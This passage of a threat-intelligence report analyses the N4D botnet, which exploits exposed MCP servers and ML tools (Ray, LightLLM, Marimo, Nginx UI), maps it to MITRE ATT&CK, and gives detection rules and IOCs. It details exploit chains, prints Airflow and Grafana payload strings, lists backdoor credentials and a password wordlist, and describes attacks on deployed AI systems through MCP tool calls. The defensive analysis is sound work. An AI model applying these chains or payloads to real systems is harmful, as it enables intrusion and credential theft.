N4D encodes awareness of prompt injection as a security category rather than as an attack technique. The implication: the threat actor is actively engaging deployed AI systems and has encountered prompt injection defenses sufficiently often to warrant dedicated result classification. This defensive-awareness capability demonstrates iterative learning from real-world target environments.

13.3 Ray Dashboard RCE (CVE-2023-48022)

Confidence: HIGH — CVE-2023-48022 confirmed, CVSS 9.8; unauthenticated port 8265 RCE via /run API endpoint.

Ray Dashboard is a web UI for managing distributed ML compute clusters. CVE-2023-48022 describes an unauthenticated remote code execution vulnerability in Ray's job submission API. The agent targets the unauthenticated REST API endpoint /run which accepts job submissions with arbitrary bash -c commands as the entrypoint. The binary contains the URL template https://%s:%d/run/%s/%s/%s (host:port substitution) paired with the deploy function deployRayDashboard. Port 8265 is the default Ray Dashboard web UI port. The function succeeds when the API accepts the job submission and returns a success result type ray_rce. No authentication is required; exposed Ray Dashboard instances are vulnerable to immediate RCE.

This attack vector exemplifies the campaign's targeting of unprotected ML infrastructure. Ray Dashboard clusters are often deployed in development or staging environments without network isolation, making them accessible from compromised jump hosts or lateral-movement scenarios post-MCP exploitation.

13.4 LightLLM Pickle Deserialization (CVE-2026-26220)

Confidence: HIGH — CVE-2026-26220 confirmed, CVSS 9.3; actor likely had pre-disclosure knowledge.

The binary contains the result type string lightllm_pickle packed adjacent to the lightllm_rce success tag and the Apache Superset label. This naming pattern mirrors the Superset exploitation chain (buildSupersetPickle), which is a confirmed Python pickle deserialization RCE via forged session cookies (CVE-2023-27524).

LightLLM is an open-source LLM inference and serving framework. CVE-2026-26220 (CVSS 9.3), publicly disclosed February 15, 2026 by Chocapikk and assigned by VulnCheck, describes an unauthenticated remote code execution vulnerability in LightLLM's PD (prefill-decode) disaggregation mode: the PD master node exposes two WebSocket endpoints — /pd_register and /kv_move_status — that receive binary frames and pass the data directly to pickle.loads() without authentication or validation. The agent's use of makeWSBinaryFrame / makeWSFrameType WebSocket primitives is consistent with this attack surface.

The vulnerability class was first reported publicly in LightLLM GitHub issue #784 (March 2025) as a ZMQ recv_pyobj() deserialization problem in multi-node mode; maintainers acknowledged it but did not patch it for eleven months. A comparable issue in vLLM received CVE-2025-32444 (CVSS 10.0) in April 2025. The N4D binary was compiled June 26, 2026 — four months after the February 15, 2026 public disclosure — but the actor's pre-disclosure awareness is plausible given the eleven-month window during which issue #784 was publicly open and unpatched. No official patch was released for LightLLM as of the CVE disclosure date.

13.5 Marimo Notebook WebSocket (CVE-2026-39987)

Confidence: HIGH — CVE-2026-39987 confirmed, CVSS 9.3, CISA KEV; N4D was among the earliest exploiters.

Marimo is a reactive Python notebook introduced in 2023. CVE-2026-39987 (CVSS 9.3), disclosed April 8, 2026, describes a pre-authentication remote code execution vulnerability caused by a missing authentication check on the /terminal/ws WebSocket endpoint — an unauthenticated attacker gains a full PTY shell with no credentials required. The vulnerability was patched in Marimo v0.23.0 and added to the CISA Known Exploited Vulnerabilities (KEV) catalog on April 23, 2026. The binary encodes:

  • marimo_ws — dedicated WebSocket interaction identifier for Marimo's kernel protocol
  • marimo_rce — success result type for remote code execution
  • probeMarimo + deployMarimo — probe and exploit functions

Exploitation was observed in the wild within nine hours and forty-one minutes of the advisory's publication. Between April 11 and April 14, 2026, Sysdig tracked 662 exploit events from 11 unique IP addresses across 10 countries. A separate attacker group weaponized CVE-2026-39987 to deploy NKAbuse — a Go-based blockchain C2 backdoor — via a typosquatting HuggingFace Space. N4D's use of the same WebSocket vector (marimo_ws) is consistent with this pre-auth RCE surface, but deploys the N4D agent rather than NKAbuse. The N4D binary compiled June 26, 2026 represents continued mass exploitation two and a half months after the patch was available.

13.6 Nginx UI Backup Decryption Chain

Confidence: HIGH — two CVEs confirmed (both CVSS 9.8); N4D chains them into a single automated kill chain.

Nginx UI is a web-based Nginx management interface. The function chain implemented in n4d_debug exploits two distinct, separately-patched vulnerabilities in sequence:

Stage 1 — CVE-2026-27944 (CVSS 9.8, patched v2.3.3, March 5, 2026): Unauthenticated backup download and AES-256-CBC key disclosure. The backup endpoint returns the decryption key in the X-Backup-Security response header alongside the encrypted archive. Decrypting the archive yields app.ini, which contains node_secret — the shared secret used to authenticate Nginx UI's MCP interface.

Stage 2 — CVE-2026-33032 "MCPwn" (CVSS 9.8, patched v2.3.4, March 15, 2026): Nginx UI's MCP integration exposes two endpoints: /mcp and /mcp_message. While /mcp enforces AuthRequired() middleware, /mcp_message received only an IP allowlist check — and the default allowlist ships empty, treating it as "allow all." An attacker who has obtained node_secret from Stage 1 can pass it as a query parameter to obtain a session ID, then issue arbitrary commands through /mcp_message without further authentication. This vulnerability was named "MCPwn" by Pluto Security and was listed among Recorded Future's 31 most actively exploited vulnerabilities of March 2026, with approximately 2,689 exposed instances identified on Shodan at the time of disclosure.

The complete function sequence recovered from the N4D binary maps directly to this chain:

  1. probeNginxUI — detect exposed instance and check for backup endpoint availability
  2. decryptBackupAndExtractSecret — download backup archive; key from X-Backup-Security header (CVE-2026-27944 Stage 1)
  3. tryDecryptZipEntries / tryPlainZipEntries — AES-CBC decryption of backup zip entries
  4. aesCBCDecrypt — custom AES-CBC implementation for the decryption step
  5. extractNodeSecretFromIni — parse decrypted app.ini and extract node_secret and API tokens (CVE-2026-27944 Stage 2)
  6. deployNginxUI — authenticate to /mcp_message via node_secret and execute commands; result type nginx_ui_pty (CVE-2026-33032)

The nginx_ui_no_secret fallback result type confirms the agent handles cases where node_secret is absent in the backup and routes to an alternate exploitation path. The automated chaining of CVE-2026-27944 into CVE-2026-33032 — without requiring any interactive step — is specific to N4D and not described in any published advisory or proof-of-concept.

13.7 Additional Exploitation Techniques

The following additional result type strings were extracted from .rodata that confirm exploitation capabilities beyond those documented in sections above:

Result Type TagTechnique
jenkins_cli_read_then_groovyTwo-stage Jenkins chain: read arbitrary file via Jenkins CLI, then execute Groovy payload via Script Console — no single published CVE covers this specific chain
pg_copy_to_programPostgreSQL COPY TO PROGRAM RCE — superuser privilege required; the agent's pgIsSuperuser check gates this path
mysql_outfile_cronMySQL SELECT INTO OUTFILE '/etc/cron.d/...' — writes cron entry directly, requires FILE privilege and specific secure_file_priv configuration
docker_sock_escapemain.tryDockerSockEscape — mounts host filesystem via /var/run/docker.sock and writes to /etc/cron.d/ for root persistence
internal_port_scanAutonomous internal subnet scan triggered post-compromise, independent of C2 task assignment
mcp_execute_query / mcp_execute_shellMCP tool-call based SQL and shell execution (see Section 3 above)
airflow_unauth_apiAirflow v1/v2 unauthenticated DAG trigger; DAG masquerades as sys_health_check in the result beacon
aks_mcp_failAKS + MCP combined attack failure sentinel — confirms the attack was attempted but the MCP branch did not achieve execution

Two payload strings recovered from the binary illustrate how deeply the actor has integrated masquerade names into every stage of the kill chain:

{"dag_id":"sys_health_check","is_paused":false,"file_token":"import_dag"}
{"url":"http://localhost/","filePath":"../../etc/chromium.d/sys_alias"}

The first is the Airflow DAG injection body — the malicious DAG is named sys_health_check, masquerading as a legitimate health monitoring workflow. The second is the Grafana Renderer path traversal payload — writing to chromium.d/sys_alias echoes the sys_alias.sh persistence filename used throughout the campaign.

14. MITRE ATT&CK Mapping

MITRE ATT&CK coverage matrix

Fig. 11 - MITRE ATT&CK coverage: 9 tactics, 24 techniques mapped from the N4D campaign artifacts.

TacticIDTechniqueEvidence
TA0043 Recon T1595 Active Scanning mcp_scan.py - mcp_v3.py; 500 concurrent probes; 14 target ports; 4 URL paths per host
TA0043 Recon T1046 Network Service Discovery Systematic /24 and /16 sweeps; 851,942+ probes per /16 block documented in scan logs
TA0001 Initial Access T1190 Exploit Public-Facing Application Unauthenticated MCP tools/call targeting execute_command; no CVE, design misuse
TA0002 Execution T1059.006 Command and Scripting Interpreter: Python mesh_agent.py / polymorphic Python loader exec'd on victim after delivery
TA0002 Execution T1203 Exploitation for Client Execution tools/call on exposed MCP server RCE tools delivers arbitrary OS commands
TA0003 Persistence T1098.004 Account Manipulation: SSH Authorized Keys Backdoor RSA public key (comment: "test") inserted into /root/.ssh/authorized_keys on multiple nodes
TA0003 Persistence T1543.003 Create or Modify System Process: Systemd Service beacon.sh delivers agent as a systemd service for persistence across reboots
TA0005 Defense Evasion T1027 Obfuscated Files or Information XOR-encoded string literals in polymorphic loader; 22 sensitive patterns obfuscated
TA0005 Defense Evasion T1027.002 Software Packing zlib/bz2 max-compression blob packed into loader stub; random algorithm per build
TA0005 Defense Evasion T1070.004 Indicator Removal: File Deletion os.unlink(sys.argv[0]) self-deletion on first run of the polymorphic loader stub
TA0005 Defense Evasion T1036.005 Match Legitimate Name or Location Process masquerades as kworker (kernel worker thread name); written to /dev/shm/ to avoid disk writes
TA0005 Defense Evasion T1205 Traffic Signaling Cloudflare tunnel relay hides actual C2 IP; CDN 302 redirect disguises server identity
TA0006 Cred Access T1552.005 Cloud Instance Metadata API Azure IMDS token exfiltration via 169.254.169.254; three auto-refresh cycles observed in intel
TA0006 Cred Access T1003.008 OS Credential Dumping: /etc/shadow Shadow file exfiltrated verbatim via POST /api/intel from multiple nodes
TA0006 Cred Access T1528 Steal Application Access Token AWS IAM keys, STS session tokens, Azure ARM JWTs harvested via MCP tool calls
TA0007 Discovery T1082 System Information Discovery Agent reports hostname, CPU architecture, load average, and capability flags on register
TA0007 Discovery T1613 Container and Resource Discovery Docker socket detection; docker boolean reported in intel schema; Docker port :2375 in v4.0 scan list
TA0008 Lateral Movement T1021.004 Remote Services: SSH SSH persistence via authorized_keys backdoor entry (comment: "test") found on multiple nodes
TA0008 Lateral Movement T1210 Exploitation of Remote Services Chain engine executes sequential exploit steps across adjacent network targets
TA0011 C&C T1571 Non-Standard Port Controller on :8443; P2P mesh on :9999; both non-standard for their protocols
TA0011 C&C T1573 Encrypted Channel HMAC-authenticated API in v4.0; Cloudflare HTTPS tunnel for agent traffic
TA0011 C&C T1090.003 Proxy: Multi-hop Proxy Cloudflare tunnel registered per node via POST /api/endpoint; C2 IP hidden from defenders
TA0010 Exfiltration T1041 Exfiltration Over C2 Channel POST /api/intel sends credentials over the same authenticated C2 channel as task polling
TA0040 Impact T1496 Resource Hijacking Compromised hosts enrolled into scanner fleet and assigned new CIDR ranges to scan
TA0003 Persistence T1546.004 Event Triggered Execution: Unix Shell Configuration Modification /etc/profile.d/sys_alias.sh written by Nginx UI and Grafana Renderer exploit chains; executes on every interactive login for any user on the system — survives agent restarts
TA0004 Privilege Escalation T1611 Escape to Host deployDockerSocket mounts the host filesystem and writes a root cron entry from within a container — escaping container isolation entirely; confirmed exploit module in binary
TA0011 C&C T1090.002 Proxy: External Proxy main.startMeshTunnel establishes Cloudflare Quick Tunnels (*.trycloudflare.com) — outbound anonymous relay, no infrastructure registration, TLS termination at Cloudflare edge; C2 traffic blends with legitimate Cloudflare HTTPS

15. Detection & Defensive Guidance

For MCP Server Operators

  • Never expose MCP servers on public IPs without authentication. Bind to 127.0.0.1 or place behind an authenticated reverse proxy.
  • If cloud-deployed: restrict to VPC private networks and use TLS mutual auth or an API gateway with token validation.
  • Audit tool names in your server configuration. Any tool providing shell execution, file system access, or database query capability is effectively unauthenticated RCE if the server is reachable without auth.
  • Check MCP server logs for initialize + tools/list sequences from "clientInfo": {"name": "n4d-vps"} - that string is the campaign's reliable network IOC.
  • If your server has ever been publicly accessible: rotate all credentials present in environment variables, ~/.aws/credentials, /root/.ssh/, and any cloud metadata token scope. Explicitly rotate OPENAI_API_KEY and ANTHROPIC_API_KEY - these are first-class harvest targets in the pathing engine.

For Compromised Host Responders

  • Check /etc/cron.d/.sys-health and /etc/cron.d/.syscheck — the agent installs both. Remove both before killing the agent process, or it relaunches within 120 seconds.
  • Audit /root/.bashrc for appended command lines - the dropper adds a persistence entry that fires on every root login.
  • Check /etc/profile.d/sys_alias.sh — written by the Nginx UI and Grafana exploit chains as a login-triggered payload. Present even when cron is cleaned.
  • Check /etc/ld.so.preload and user-specific library preload paths for libssh2.so.1.0.1.patched or any unexpected shared library — this custom-compiled SSH development build may function as a backdoor for credential interception via LD_PRELOAD; not confirmed by static analysis alone.
  • Search /dev/shm/ for files matching kworker*, .agent.lock, and .agent.pid — the agent binary runs from tmpfs; .agent.lock presence confirms an active instance.
  • Check /tmp/ for .n4d* files — temporary exploit scratch files (.n4d_mysql.sh, .n4d_pg.sh, .n4d_redis.sh, .n4d_script.py, .n4d_cred_debug). The last file may contain harvested credentials if the agent crashed mid-exfil.
  • Inspect active network connections for WebSocket upgrades to /api/pty or TLS connections to *.trycloudflare.com — either indicates an active interactive operator session in progress.
  • Block outbound connections to cdnorigin.net and *.trycloudflare.com at the network perimeter to cut off both C2 channels simultaneously.

Network Detection Signatures — Sigma

title: N4D Botnet — Direct Connection to Confirmed C2 Server (209.99.186.73)
id: 7f3a2b91-4d58-4e4c-b82f-1a6c9d5e3f07
status: stable
description: Outbound connection to 209.99.186.73 — confirmed N4D Mesh Controller C2 server. Open directory exposed at :9090, C2 API at :8443, beacon distribution at :80/:443 (TLS SNI cdnorigin.net).
author: 1ZRR4H
date: 2026-07-02
logsource:
  category: network
  product: firewall
detection:
  selection:
    dst_ip: '209.99.186.73'
  condition: selection
falsepositives:
  - None expected
level: critical
tags:
  - attack.command-and-control
  - attack.t1071.001
title: N4D Botnet — cdnorigin.net C2 Domain DNS Query
id: a4b5c6d7-e8f9-4012-abcd-456789012345
status: stable
description: DNS query for cdnorigin.net — fake CDN domain used by beacon.sh as primary agent download URL. Self-signed RSA-2048 cert issued 2026-06-26, absent from CT logs. Any resolution of this domain means the dropper is executing on that host.
author: 1ZRR4H
date: 2026-06-27
modified: 2026-07-02
logsource:
  category: dns
detection:
  selection:
    QueryName|endswith: 'cdnorigin.net'
  condition: selection
falsepositives:
  - None — domain has no legitimate registrant; no CT log entries at time of discovery
level: critical
tags:
  - attack.command-and-control
  - attack.t1071.001
  - attack.t1584.001
title: N4D Agent — Hidden Dot-File Created in /etc/cron.d/
id: c6d7e8f9-a0b1-4345-cdef-678901234567
status: stable
description: File creation with a dot-prefixed name inside /etc/cron.d/. beacon.sh writes /etc/cron.d/.sys-health (2-minute root interval re-launching /dev/shm/kworker*); the Go binary also creates /etc/cron.d/.syscheck. No standard Linux package writes hidden dot-files to this directory.
author: 1ZRR4H
date: 2026-06-28
modified: 2026-07-02
logsource:
  product: linux
  category: file_event
detection:
  selection:
    TargetFilename|startswith: '/etc/cron.d/.'
  condition: selection
falsepositives:
  - None — standard software packages do not write dot-files to /etc/cron.d/
level: high
tags:
  - attack.persistence
  - attack.t1053.003

YARA Rules

rule N4D_Go_Agent_Binary {
    meta:
        description = "N4D Mesh Controller Go agent — ELF multi-arch botnet with AI exploit arsenal"
        author      = "1ZRR4H"
        date        = "2026-07-02"
        modified    = "2026-07-02"
        hash_debug  = "3435cc9d4a255bfb4cfb09f2390c29b888f70a43345cfaaecf46c55bc89b814d"
    strings:
        $cred_nacos  = "n4d_admin:n4d_admin123" ascii
        $fn_lightllm = "deployLightLLM" ascii
        $fn_ray      = "deployRayDashboard" ascii
        $mesh_auth   = "X-Mesh-Auth" ascii
        $devshm_lock = "/dev/shm/.agent.lock" ascii
        $api_pty     = "/api/pty" ascii
        $cftunnel    = ".trycloudflare.com" ascii
    condition:
        uint32(0) == 0x464C457F and
        (
            ($cred_nacos and $devshm_lock) or
            ($fn_lightllm and $fn_ray) or
            ($mesh_auth and $api_pty and $cftunnel)
        )
}

rule N4D_MCP_Scanner {
    meta:
        description = "N4D MCP scanner family — all 4 generations (mcp_scan.py, mcp_direct.py, mcp_scan_v2.py, mcp_v3.py)"
        author      = "1ZRR4H"
        date        = "2026-06-27"
        modified    = "2026-07-02"
    strings:
        $client_id  = "n4d-vps" ascii
        $tools_list = "tools/list" ascii
        $danger_key = "execute_command" ascii
        $proto_ver  = "2024-11-05" ascii
    condition:
        $client_id and 1 of ($tools_list, $danger_key, $proto_ver)
}

rule N4D_Beacon_Script {
    meta:
        description = "N4D dropper beacon.sh — 8-method download chain with cron, bashrc, and systemd persistence"
        author      = "1ZRR4H"
        date        = "2026-06-28"
        modified    = "2026-07-02"
    strings:
        $cdn_front  = "cdnorigin.net" ascii
        $c2_ip      = "209.99.186.73" ascii
        $api_binary = "/api/agent/binary" ascii
        $cron_file  = ".sys-health" ascii
    condition:
        ($cdn_front or $c2_ip) and ($api_binary or $cron_file)
}

Affected ASN Categories

ASNProviderRole in Campaign
AS24940Hetzner OnlineInternational agent fleet CIDR pool; primary target for European AI deployments
AS14061DigitalOceanInternational agent fleet CIDR pool
AS63949Linode / AkamaiInternational agent fleet CIDR pool
AS16276OVHInternational agent fleet CIDR pool
AS20473VultrInternational agent fleet CIDR pool
AS51167ContaboInternational agent fleet CIDR pool
AS45102Alibaba CloudPrimary scan target (CN geo); also agent fleet
AS132203Tencent CloudPrimary scan target (CN geo); also agent fleet

Indicators of Compromise (IOCs)

TypeIndicatorContext
SHA256 3435cc9d4a255bfb4cfb09f2390c29b888f70a43345cfaaecf46c55bc89b814d n4d_debug — Go agent debug build (7.3 MB, ELF64 amd64, Jun 26 2026); complete exploit arsenal with 170+ named functions
IP 209.99.186.73 Confirmed C2 server — open directory at :9090, C2 API at :8443, beacon TLS at :443 (SNI: cdnorigin.net), P2P mesh at :9999
PORT :8443 (C2), :9999 (P2P) Controller API and inter-agent mesh listener
HEADER X-Mesh-Auth: {node_id}:{hmac_sha256} Present on all authenticated agent API calls in v4.0
HEADER X-Operator-Key Present on operator-authenticated GET calls to /api/intel, /api/chains, /api/stats
PATH /api/register, /api/task/{nid}, /api/result/{nid}, /api/intel, /api/beacon, /api/chains Controller API path family - any of these on port 8443 is C2 traffic
UA python-httpx/* Scanner User-Agent (httpx async client)
UA Go-http-client/1.1 Agent User-Agent (Go HTTP client in n4d_agent binary)
JSON "clientInfo": {"name": "n4d-vps", "version": "1.0"} MCP initialize payload - present in every scanner probe
PROCESS kworker/u*:* Agent process name masquerade matching kernel worker thread format
FILE /dev/shm/kworker* Agent written to tmpfs to avoid disk writes visible in filesystem forensics
SSH authorized_keys backdoor key comments observed: auto-backdoor (21×), test (6×), u0_a599@localhost (3×), admin@mm (2×), hype (2×), jan@mac, root@proxmox, good@gooddeMacBook-Pro.local, evincent@ev-mac.lan Attacker-inserted RSA backdoor keys across 21 compromised hosts; "auto-backdoor" is campaign-generated; personal machine hostnames (evincent@ev-mac.lan, jan@mac, good@gooddeMacBook-Pro.local) are low-confidence attribution leads
URL GET /api/beacon?arch=&h=&p= Phone-home URL pattern - server-side detection of active compromise in progress
DOMAIN cdnorigin.net C2 CDN front domain; TLS SNI on port 443; appears in beacon.sh download URLs and mesh_minimal.py
PORT :80, :443 Additional C2 entry ports; :80 via http_proxy.py, :443 via tls_proxy.py with cdnorigin.net cert
FILE /etc/cron.d/.sys-health 2-minute root cron entry installed by beacon.sh for persistent agent re-launch
FILE /tmp/.agent Staging path used by qq_watcher.sh dropper when delivering agent to MCP bot victims
FILE libssh2.so.1.0.1.patched Custom-compiled SSH library (dev branch, GCC 13.3/Ubuntu 24.04) — possible LD_PRELOAD backdoor for credential interception; no backdoor confirmed by static analysis, but binary does not match any released libssh2 version
PATH /api/agent/binary?arch= Agent binary download endpoint - requested by beacon.sh, mesh_minimal.py, and qq_watcher.sh on victim machines
PATH /api/pty WebSocket interactive PTY endpoint — operators open live shells on compromised hosts through the C2 web panel; also used by Nginx UI exploit chain on victim side
DOMAIN *.trycloudflare.com Cloudflare Quick Tunnel relay; agents call main.startMeshTunnel to establish anonymous outbound C2 channel — TLS signed by Cloudflare CA, no domain registration required
FILE /etc/profile.d/sys_alias.sh Login-trigger payload written by Nginx UI and Grafana Renderer exploit modules; executes on every interactive login by any user
FILE /etc/cron.d/.syscheck Secondary cron persistence entry (complement to .sys-health); found as hardcoded path in Go binary
FILE /dev/shm/.agent.lock, /dev/shm/.agent.pid Singleton lock and PID file in tmpfs; presence indicates an active agent instance; absence after reboot indicates agent survived only in cron/systemd
FILE /tmp/.n4d, /tmp/.n4d_curl, /tmp/.n4d_mysql.sh, /tmp/.n4d_pg.sh, /tmp/.n4d_redis.sh, /tmp/.n4d_script.py, /tmp/.n4d_cred_debug Scratch files written during exploit execution; .n4d_cred_debug may contain harvested credentials in plaintext if the agent crashed mid-exfil
CRED n4d_admin:n4d_admin123 Backdoor Nacos account credential confirmed by binary analysis (main.deployNacos); submitted via form-urlencoded POST /nacos/v1/auth/login — operators plant this account on first compromise then re-authenticate on return visits
CRED n4d:n4dmesh2024 N4D controller PostgreSQL database user and password hardcoded in controller_v4.py; presence of these credentials on a host confirms the C2 controller itself is deployed there, not just a victim agent
CRED postgres2024, postgres2025, Postgres@123, postgrespass Hardcoded PostgreSQL brute-force wordlist embedded in binary; any PostgreSQL instance logging failed auth attempts should alert on these values